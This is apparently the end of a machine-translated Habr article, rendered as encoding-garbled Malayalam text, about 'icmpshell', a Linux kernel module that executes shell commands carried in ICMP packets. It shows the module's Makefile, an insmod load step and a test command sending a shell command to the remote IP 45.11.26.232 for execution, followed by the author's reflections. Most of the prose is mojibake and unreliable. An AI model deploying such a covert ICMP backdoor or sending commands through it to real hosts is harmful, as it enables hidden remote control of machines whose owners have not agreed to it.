เดฑเต€เดฎเต‡เด•เตเด•เต เดšเต†เดฏเตเดฏเตเดจเตเดจ เดตเดพเด•เตเดฏเด˜เดŸเดจ main.o ะฒ icmpshell.o (icmpshell-objs = main.o) เดŽเดจเดฟเด•เตเด•เต เดตเดณเดฐเต† เดฏเตเด•เตเดคเดฟเดธเดนเดฎเดพเดฏเดฟ เดคเต‹เดจเตเดจเตเดจเตเดจเดฟเดฒเตเดฒ, เดชเด•เตเดทเต‡ เด…เด™เตเด™เดจเต†เดฏเดพเด•เดŸเตเดŸเต†.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

เดžเด™เตเด™เตพ เดถเต‡เด–เดฐเดฟเด•เตเด•เตเดจเตเดจเต: make. เดฒเต‡เดพเดกเดฟเด‚เด—เต: insmod icmpshell.ko. เดšเต†เดฏเตเดคเต, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเด‚: sudo ./send.py 45.11.26.232 "date > /tmp/test". เดจเดฟเด™เตเด™เดณเตเดŸเต† เดฎเต†เดทเต€เดจเดฟเตฝ เด’เดฐเต เดซเดฏเตฝ เด‰เดฃเตเดŸเต†เด™เตเด•เดฟเตฝ /tmp/test เด…เดญเตเดฏเตผเดคเตเดฅเดจ เด…เดฏเดšเตเดš เดคเต€เดฏเดคเดฟ เด…เดคเดฟเตฝ เด…เดŸเด™เตเด™เดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดคเดฟเดจเตผเดคเตเดฅเด‚ เดจเดฟเด™เตเด™เตพ เดŽเดฒเตเดฒเดพเด‚ เดถเดฐเดฟเดฏเดพเดฏเดฟ เดšเต†เดฏเตเดคเตเดตเต†เดจเตเดจเตเด‚ เดžเดพเตป เดŽเดฒเตเดฒเดพเด‚ เดถเดฐเดฟเดฏเดพเดฏเดฟ เดšเต†เดฏเตเดคเตเดตเต†เดจเตเดจเตเด‚ เด…เตผเดคเตเดฅเดฎเดพเด•เตเด•เตเดจเตเดจเต.

เดคเต€เดฐเตเดฎเดพเดจเด‚

เด†เดฃเดต เดตเดฟเด•เดธเดจเดตเตเดฎเดพเดฏเดฟ เดฌเดจเตเดงเดชเตเดชเต†เดŸเตเดŸ เดŽเดจเตเดฑเต† เด†เดฆเตเดฏ เด…เดจเตเดญเดตเด‚ เดžเดพเตป เดชเตเดฐเดคเต€เด•เตเดทเดฟเดšเตเดšเดคเดฟเดฒเตเด‚ เดตเดณเดฐเต† เดŽเดณเตเดชเตเดชเดฎเดพเดฏเดฟเดฐเตเดจเตเดจเต. เด•เด‚เดชเตˆเดฒเตผ เดธเต‚เดšเดจเด•เดณเดฟเดฒเตเด‚ เด—เต‚เด—เดฟเตพ เดซเดฒเด™เตเด™เดณเดฟเดฒเตเด‚ เดถเตเดฐเดฆเตเดง เด•เต‡เดจเตเดฆเตเดฐเต€เด•เดฐเดฟเดšเตเดšเต เดธเดฟเดฏเดฟเตฝ เดตเดฟเด•เดธเดฟเดชเตเดชเดฟเดšเตเดš เด…เดจเตเดญเดตเด‚ เด‡เดฒเตเดฒเต†เด™เตเด•เดฟเดฒเตเด‚, เดŽเดจเดฟเด•เตเด•เต เด’เดฐเต เดตเตผเด•เตเด•เดฟเด‚เด—เต เดฎเตŠเดกเตเดฏเต‚เตพ เดŽเดดเตเดคเดพเดจเตเด‚ เด’เดฐเต เด•เต‡เตผเดฃเตฝ เดนเดพเด•เตเด•เดฑเต†เดชเตเดชเต‹เดฒเต† เดคเต‹เดจเตเดจเดพเดจเตเด‚ เด…เดคเต‡ เดธเดฎเดฏเด‚ เด’เดฐเต เดธเตโ€Œเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เด•เดฟเดกเตเดกเดฟเดฏเต†เดชเตเดชเต‹เดฒเต† เดคเต‹เดจเตเดจเดพเดจเตเด‚ เด•เดดเดฟเดžเตเดžเต. เด•เต‚เดŸเดพเดคเต†, เดžเดพเตป เด•เต‡เตผเดฃเตฝ เดจเตเดฏเต‚เดฌเต€เดธเต เดšเดพเดจเดฒเดฟเดฒเต‡เด•เตเด•เต เดชเต‹เดฏเดฟ, เด…เดตเดฟเดŸเต† เด…เดตเตผ เดŽเดจเตเดจเต‹เดŸเต เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเตป เดชเดฑเดžเตเดžเต schedule_work() เดตเดฟเดณเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดชเด•เดฐเด‚ call_usermodehelper() เดนเตเด•เตเด•เต เด‰เดณเตเดณเดฟเตฝ เดคเดจเตเดจเต† เด…เดตเดจเต† เดฒเดœเตเดœเดฟเดชเตเดชเดฟเดšเตเดšเต, เด’เดฐเต เด…เดดเดฟเดฎเดคเดฟเดฏเต† เดถเดฐเดฟเดฏเดพเดฏเดฟ เดธเด‚เดถเดฏเดฟเดšเตเดšเต. เดŽเดจเตเดฑเต† เด’เดดเดฟเดตเตเดธเดฎเดฏเด™เตเด™เดณเดฟเตฝ เด’เดฐเต เด†เดดเตโ€Œเดšเดฏเดฟเดฒเต† เดตเดฟเด•เดธเดจเดคเตเดคเดฟเดจเต เดจเต‚เดฑเต เดตเดฐเดฟ เด•เต‹เดกเต เดšเต†เดฒเดตเดพเดฏเดฟ. เดธเดฟเดธเตเดฑเตเดฑเด‚ เดตเดฟเด•เดธเดจเดคเตเดคเดฟเดจเตเดฑเต† เดธเด™เตเด•เต€เตผเดฃเตเดฃเดคเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดŽเดจเตเดฑเต† เดตเตเดฏเด•เตเดคเดฟเดชเดฐเดฎเดพเดฏ เดฎเดฟเดฅเตเดฏเดฏเต† เดจเดถเดฟเดชเตเดชเดฟเดšเตเดš เด’เดฐเต เดตเดฟเดœเดฏเด•เดฐเดฎเดพเดฏ เด…เดจเตเดญเดตเด‚.

Github-เตฝ เด’เดฐเต เด•เต‹เดกเต เด…เดตเดฒเต‹เด•เดจเด‚ เดจเดŸเดคเตเดคเดพเตป เด†เดฐเต†เด™เตเด•เดฟเดฒเตเด‚ เดธเดฎเตเดฎเดคเดฟเด•เตเด•เตเด•เดฏเดพเดฃเต†เด™เตเด•เดฟเตฝ, เดžเดพเตป เดจเดจเตเดฆเดฟเดฏเตเดณเตเดณเดตเดจเดพเดฏเดฟเดฐเดฟเด•เตเด•เตเด‚. เดžเดพเตป เด’เดฐเตเดชเดพเดŸเต เดฎเดฃเตเดŸเดคเตเดคเดฐเด™เตเด™เตพ เดšเต†เดฏเตเดคเดฟเดŸเตเดŸเตเดฃเตเดŸเต†เดจเตเดจเต เดŽเดจเดฟเด•เตเด•เต เด‰เดฑเดชเตเดชเตเดฃเตเดŸเต, เดชเตเดฐเดคเตเดฏเต‡เด•เดฟเดšเตเดšเต เดธเตเดŸเตเดฐเดฟเด‚เด—เตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ.

เดเดธเดฟเดŽเด‚เดชเดฟเด•เตเด•เต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดจเตเดฏเต‚เด•เตเดฒเดฟเดฏเตผ เดทเต†เตฝ

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•